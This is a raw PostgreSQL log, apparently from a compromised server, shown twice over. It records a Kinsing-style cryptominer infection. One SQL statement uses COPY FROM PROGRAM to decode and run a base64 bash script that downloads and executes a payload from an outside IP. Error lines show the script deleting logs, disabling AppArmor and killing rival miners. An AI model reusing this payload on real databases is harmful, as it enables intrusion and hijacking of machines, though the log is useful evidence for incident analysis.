2021-09-21 04:46:54.148 UTC [5888] LOG: starting PostgreSQL 12.8 (Ubuntu 12.8-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit
2021-09-21 04:46:54.151 UTC [5888] LOG: listening on IPv4 address "0.0.0.0", port 5432
2021-09-21 04:46:54.153 UTC [5888] LOG: listening on IPv6 address "::", port 5432
2021-09-21 04:46:54.154 UTC [5888] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2021-09-21 04:46:54.180 UTC [5889] LOG: database system was shut down at 2021-09-20 13:15:29 UTC
2021-09-21 04:46:54.188 UTC [5888] LOG: database system is ready to accept connections
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab
100 32110 100 32110 0 0 188k 0 --:--:-- --:--:-- --:--:-- 188k
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
bash: line 37: netstat: command not found
bash: line 38: netstat: command not found
bash: line 42: netstat: command not found
bash: line 43: netstat: command not found
bash: line 44: netstat: command not found
bash: line 45: netstat: command not found
bash: line 46: netstat: command not found
bash: line 47: netstat: command not found
bash: line 48: netstat: command not found
bash: line 49: netstat: command not found
bash: line 50: netstat: command not found
bash: line 51: netstat: command not found
bash: line 52: netstat: command not found
bash: line 53: netstat: command not found
bash: line 54: netstat: command not found
bash: line 55: netstat: command not found
bash: line 56: netstat: command not found
bash: line 57: netstat: command not found
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-09-21 05:46:40.800 UTC [5888] LOG: received smart shutdown request
2021-09-21 05:46:40.808 UTC [5888] LOG: background worker "logical replication launcher" (PID 5895) exited with exit code 1
pkill: killing pid 1425852 failed: Operation not permitted
pkill: killing pid 3469691 failed: Operation not permitted
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (14849): No such process
kill: (14854): No such process
bash: line 218: netstat: command not found
bash: line 219: netstat: command not found
bash: line 220: netstat: command not found
bash: line 221: netstat: command not found
bash: line 222: netstat: command not found
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
pkill: killing pid 20838 failed: Operation not permitted
pkill: killing pid 20838 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 525: docker: command not found
bash: line 526: docker: command not found
bash: line 527: docker: command not found
bash: line 528: docker: command not found
bash: line 529: docker: command not found
bash: line 530: docker: command not found
bash: line 531: docker: command not found
bash: line 532: docker: command not found
bash: line 533: docker: command not found
bash: line 534: docker: command not found
bash: line 535: docker: command not found
bash: line 536: docker: command not found
bash: line 537: docker: command not found
bash: line 538: docker: command not found
bash: line 539: docker: command not found
bash: line 540: docker: command not found
bash: line 541: docker: command not found
bash: line 542: docker: command not found
bash: line 543: docker: command not found
bash: line 544: docker: command not found
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: setenforce: command not found
bash: line 548: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres FATAL: terminating connection due to administrator command
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres CONTEXT: COPY dhnwrrdl, line 1: "/tmp/kinsing exists"
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres STATEMENT: DROP TABLE IF EXISTS dHNwRrdl;CREATE TABLE dHNwRrdl(cmd_output text);COPY dHNwRrdl FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly8xOTQuMzguMjAuMTk5L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM dHNwRrdl;DROP TABLE IF EXISTS dHNwRrdl;
2021-09-21 05:46:46.888 UTC [5890] LOG: shutting down
2021-09-21 05:46:46.916 UTC [5888] LOG: database system is shut down
2021-09-21 04:46:54.148 UTC [5888] LOG: starting PostgreSQL 12.8 (Ubuntu 12.8-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit
2021-09-21 04:46:54.151 UTC [5888] LOG: listening on IPv4 address "0.0.0.0", port 5432
2021-09-21 04:46:54.153 UTC [5888] LOG: listening on IPv6 address "::", port 5432
2021-09-21 04:46:54.154 UTC [5888] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2021-09-21 04:46:54.180 UTC [5889] LOG: database system was shut down at 2021-09-20 13:15:29 UTC
2021-09-21 04:46:54.188 UTC [5888] LOG: database system is ready to accept connections
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab
100 32110 100 32110 0 0 188k 0 --:--:-- --:--:-- --:--:-- 188k
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
bash: line 37: netstat: command not found
bash: line 38: netstat: command not found
bash: line 42: netstat: command not found
bash: line 43: netstat: command not found
bash: line 44: netstat: command not found
bash: line 45: netstat: command not found
bash: line 46: netstat: command not found
bash: line 47: netstat: command not found
bash: line 48: netstat: command not found
bash: line 49: netstat: command not found
bash: line 50: netstat: command not found
bash: line 51: netstat: command not found
bash: line 52: netstat: command not found
bash: line 53: netstat: command not found
bash: line 54: netstat: command not found
bash: line 55: netstat: command not found
bash: line 56: netstat: command not found
bash: line 57: netstat: command not found
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-09-21 05:46:40.800 UTC [5888] LOG: received smart shutdown request
2021-09-21 05:46:40.808 UTC [5888] LOG: background worker "logical replication launcher" (PID 5895) exited with exit code 1
pkill: killing pid 1425852 failed: Operation not permitted
pkill: killing pid 3469691 failed: Operation not permitted
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (14849): No such process
kill: (14854): No such process
bash: line 218: netstat: command not found
bash: line 219: netstat: command not found
bash: line 220: netstat: command not found
bash: line 221: netstat: command not found
bash: line 222: netstat: command not found
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
pkill: killing pid 20838 failed: Operation not permitted
pkill: killing pid 20838 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 525: docker: command not found
bash: line 526: docker: command not found
bash: line 527: docker: command not found
bash: line 528: docker: command not found
bash: line 529: docker: command not found
bash: line 530: docker: command not found
bash: line 531: docker: command not found
bash: line 532: docker: command not found
bash: line 533: docker: command not found
bash: line 534: docker: command not found
bash: line 535: docker: command not found
bash: line 536: docker: command not found
bash: line 537: docker: command not found
bash: line 538: docker: command not found
bash: line 539: docker: command not found
bash: line 540: docker: command not found
bash: line 541: docker: command not found
bash: line 542: docker: command not found
bash: line 543: docker: command not found
bash: line 544: docker: command not found
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: setenforce: command not found
bash: line 548: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres FATAL: terminating connection due to administrator command
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres CONTEXT: COPY dhnwrrdl, line 1: "/tmp/kinsing exists"
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres STATEMENT: DROP TABLE IF EXISTS dHNwRrdl;CREATE TABLE dHNwRrdl(cmd_output text);COPY dHNwRrdl FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly8xOTQuMzguMjAuMTk5L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM dHNwRrdl;DROP TABLE IF EXISTS dHNwRrdl;
2021-09-21 05:46:46.888 UTC [5890] LOG: shutting down
2021-09-21 05:46:46.916 UTC [5888] LOG: database system is shut down